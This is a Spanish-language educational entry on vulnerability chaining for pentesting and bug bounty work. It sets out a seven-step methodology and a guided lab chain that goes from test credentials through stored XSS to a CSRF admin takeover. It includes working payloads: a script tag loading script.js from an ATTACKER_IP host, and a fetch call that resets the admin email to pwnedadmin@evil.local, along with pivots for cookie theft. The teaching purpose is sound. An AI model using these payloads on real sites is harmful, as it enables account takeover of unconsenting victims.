Encadenamiento de vulnerabilidades
El encadenamiento de vulnerabilidades (vulnerability chaining) consiste en combinar dos o más debilidades individuales —cada una de riesgo bajo o medio por separado— para alcanzar un…
Definición
El encadenamiento de vulnerabilidades (vulnerability chaining) consiste en combinar dos o más debilidades individuales —cada una de riesgo bajo o medio por separado— para alcanzar un impacto significativamente mayor que el que ninguna lograría por sí sola. Los sistemas de rating asignan severidad por vulnerabilidad aislada, pero los atacantes piensan en términos de cadenas: una debilidad abre una puerta, la siguiente escala privilegios, la tercera permite exfiltración o ejecución remota.
Principio clave: No toda vulnerabilidad crítica pesa más que tres vulnerabilidades medias encadenadas correctamente.
Relacionado: Cross-Site Scripting (XSS), Cross-Site Request Forgery (CSRF), SQL Injection, OWASP Top 10 (2025)
Contexto: por qué importa
Los equipos de desarrollo suelen parchear vulnerabilidades individualmente, siguiendo el orden del bug tracker (criticals → highs → mediums → lows). Esta estrategia puede dejar brechas porque las conexiones entre bugs nunca se abordan.
Ejemplo real — Capital One 2019:
SSRF en la aplicación web → Acceso al servicio de metadatos EC2 de AWS (http://169.254.169.254) → Recuperación de credenciales IAM temporales → Acceso a S3 con esas credenciales → Exfiltración de ~100 millones de registrosNinguno de estos pasos era individualmente una vulnerabilidad crítica, pero la cadena resultó en una de las mayores brechas de datos financieros de la historia.
Otro patrón habitual:
Verbose login (enumera usernames válidos) → No hay rate limiting en login → Brute force del password débil → Login exitoso → SQLi en endpoint autenticado (ahora accesible) → Dump de base de datos / escalada de privilegiosMetodología: 7 pasos para pensar como atacante
Paso 1 — Usar la app como usuario normal
Registrar cuenta, explorar funcionalidades, entender roles y acciones sensibles (settings, uploads, panel admin). Sin buscar bugs todavía. El objetivo es comprender el flujo.
Paso 2 — Enumerar y listar debilidades
Identificar puntos débiles: SQLi, XSS, IDOR, mensajes de error verbosos, patrones predecibles en IDs de URL, extensiones de ficheros permitidas. Anotar todos, incluso los de baja severidad aparente.
Paso 3 — Evaluar cada debilidad en aislamiento
Para cada finding, preguntarse: “¿Qué puedo hacer con esto asumiendo que nada más está roto?”
- ¿Este XSS se ejecuta en un contexto útil (perfil visible por admins)?
- ¿Este error verbose revela usernames reales?
- ¿Este file upload permite subir scripts?
Paso 4 — Definir el objetivo del atacante
¿Qué querría un atacante conseguir con esta app?
- ¿Datos sensibles de usuarios?
- ¿Acceso al panel de administración?
- ¿Ejecución remota de código?
El contexto importa: un XSS en un blog es molesto; el mismo XSS en el panel de administración bancaria es catastrófico.
Paso 5 — Construir el camino de ataque
Conectar los findings en una secuencia lógica hacia el objetivo. Ejemplo típico:
Verbose login → usernames válidos → Política de passwords débil → brute force exitoso → Login → XSS almacenado en perfil → Admin visita el perfil → XSS dispara → robo de cookie admin → Escalada de privilegiosPaso 6 — Ejecutar y validar cada paso
Probar cada eslabón de la cadena en orden real. Verificar:
- ¿El brute force funciona o hay rate limiting?
- ¿El XSS se ejecuta en el contexto esperado (¿quién ve el perfil?)?
- ¿La cookie robada da acceso real al panel admin?
Identificar blockers y dependencias antes de asumir que la cadena completa funciona.
Paso 7 — Reportar la cadena completa
No aislar los bugs en el informe. Contar la historia:
“Un atacante no autenticado puede [primer paso], lo que le permite [segundo paso], y finalmente [impacto final].”
Destacar explícitamente: “Cada issue individual sería de riesgo bajo/medio, pero la combinación resulta en compromiso total.”
Cadena guiada (Guided Chain)
Escenario
App web con panel de admin. Un desarrollador dejó credenciales de prueba en producción. La app no tiene CSRF tokens. El perfil de usuario tiene un campo “display name” sin sanitización.
Paso 1 — Credenciales de prueba (developer test credentials)
URL: http://TARGET/Usuario: testuserPassword: password123Acceso obtenido como usuario de bajo privilegio. Las credenciales hardcoded en staging que llegan a producción son un vector frecuente y subestimado.
Paso 2 — Stored XSS en el display name del perfil
En la página de edición de perfil, el campo “display name” refleja input directamente sin sanitizar:
<!-- Payload de prueba básico --><script>alert(1)</script>El alert se ejecuta cuando cualquier usuario (incluido un admin en una vista de moderación) carga el perfil. Esto convierte un Self-XSS aparente en un vector de ataque real si un admin visita perfiles de usuario.
Paso 3 — CSRF via XSS (cambio de credenciales del admin)
La app no implementa CSRF tokens. Cuando el XSS dispara en el navegador del admin, el script puede emitir requests same-origin con las cookies del admin adjuntas automáticamente.
Script del atacante (script.js) — alojado en el attacker box:
fetch('/update_email.php', { method: 'POST', credentials: 'include', headers: {'Content-Type': 'application/x-www-form-urlencoded'}, body: 'email=pwnedadmin@evil.local&password=pwnedadmin'});Inyección en el display name:
<script src="http://ATTACKER_IP:8000/script.js"></script>Servir el script con Python:
# Solo en laboratorio controladopython3 -m http.server 8000# → Cuando el admin carga el perfil, su browser hace GET /script.js# → Luego ejecuta el fetch con sus propias cookies# → Las credenciales admin quedan cambiadas a pwnedadmin@evil.local / pwnedadminVerificación en Burp: el request a /update_email.php mostrará la cookie de sesión del admin.
Paso 4 — Login como admin
Usuario: adminPassword: pwnedadminAcceso completo al panel de administración obtenido. La app confía en que quien tiene esas credenciales tiene el rol correspondiente. La cadena explotó tres asunciones incorrectas:
- “Las cuentas de test no quedarán activas en producción.”
- “El display name no puede contener código ejecutable.”
- “Los requests autenticados desde el navegador son legítimos.”
Rutas alternativas (pivot points)
La cadena raramente sigue una línea recta. Si un paso falla, el atacante busca un pivot:
Si la app SÍ tuviera CSRF tokens:
- ¿El XSS puede leer el token del DOM y adjuntarlo al fetch malicioso?
- ¿El XSS puede robar la cookie de sesión (si no hay
HttpOnly)? → session hijacking directo. - ¿El XSS puede forzar al admin a cargar una URL que filtre datos sensibles?
Otras rutas alternativas habituales:
| Blocker | Pivot |
|---|---|
| CSRF tokens presentes | Leer token del DOM con XSS y adjuntarlo al fetch |
| Cookie con HttpOnly | Usar XSS para ejecutar acciones en lugar de robar la cookie |
| SQLi solo en endpoints autenticados | Brute force login primero, luego SQLi |
| File upload sin ejecución directa | Combinar con Path Traversal o XXE para ejecutar |
Mentalidad correcta: La pregunta no es “¿funcionó como planeé?” sino “¿qué más puedo hacer con el acceso que tengo?”
Red Team vs Bug Bounty
| Aspecto | Red Team Engagement | Bug Bounty |
|---|---|---|
| Objetivo principal | Demostrar impacto real y gaps en la postura de seguridad | Comunicar el riesgo claramente al vendor |
| Uso del chaining | Pivoting, escalada, persistencia | Mostrar cómo múltiples bugs se combinan |
| Estilo de ejecución | Sigiloso, evita detección | Transparente, reproducible |
| Objetivo final | Alcanzar objetivo definido (data exfil, Domain Admin) | Enviar reporte válido e impactante |
| Nivel de explotación | Cadena completa si es posible | Explotación parcial suficiente si el riesgo es claro |
| Calidad del PoC | Puede usar herramientas reales o simular operaciones | PoC mínimo, seguro y limpio |
En bug bounty, demostrar que puedes cambiar el email admin o dumpear datos con SQLi suele ser suficiente para una severidad alta/crítica; no es necesario ir hasta el impacto final.
Diagrama — Cadena guiada completa
flowchart TD
A[Attacker: testuser / password123] -->|Login exitoso| B[Dashboard usuario básico]
B -->|Explorar perfil| C{Campo display name vulnerable a XSS?}
C -->|Sí| D[Inject: script src attacker /script.js]
D -->|Admin visita perfil| E[XSS dispara en browser del admin]
E -->|No CSRF token| F[fetch POST /update_email.php credentials include]
F -->|Cambio exitoso| G[Admin email=pwnedadmin@evil.local password=pwnedadmin]
G -->|Atacante hace login| H[Admin panel comprometido ✓]
C -->|No: CSRF tokens presentes| I{XSS puede leer CSRF token del DOM?}
I -->|Sí| F
I -->|No| J[Pivot: robar cookie de sesión o forzar acción vía GET]
Pitfalls
- Asumir que una vulnerabilidad individual determina el riesgo total: los sistemas de rating por ítem no capturan el riesgo encadenado. Siempre evaluar el impacto en el contexto de la cadena.
- No explorar rutas alternativas: si el primer plan falla, muchos pentesters abandonan en lugar de pivotar. La adaptabilidad es la diferencia entre un reporte mediocre y uno excelente.
- Self-XSS descartado prematuramente: un XSS que solo ejecuta en el propio browser del atacante parece inútil, pero si un admin visita el perfil, se convierte en XSS almacenado efectivo.
- Fixes aislados no bastan: parchear solo el SQLi sin corregir la enumeración de usuarios deja la mitad de la cadena abierta. El reporte debe hacer explícito que todos los eslabones deben corregirse.
- Escalada excesiva en bug bounty: en programas de bug bounty, explotar hasta el impacto final (e.g., dump completo de DB) puede cruzar límites del scope. Detenerse cuando el riesgo queda demostrado.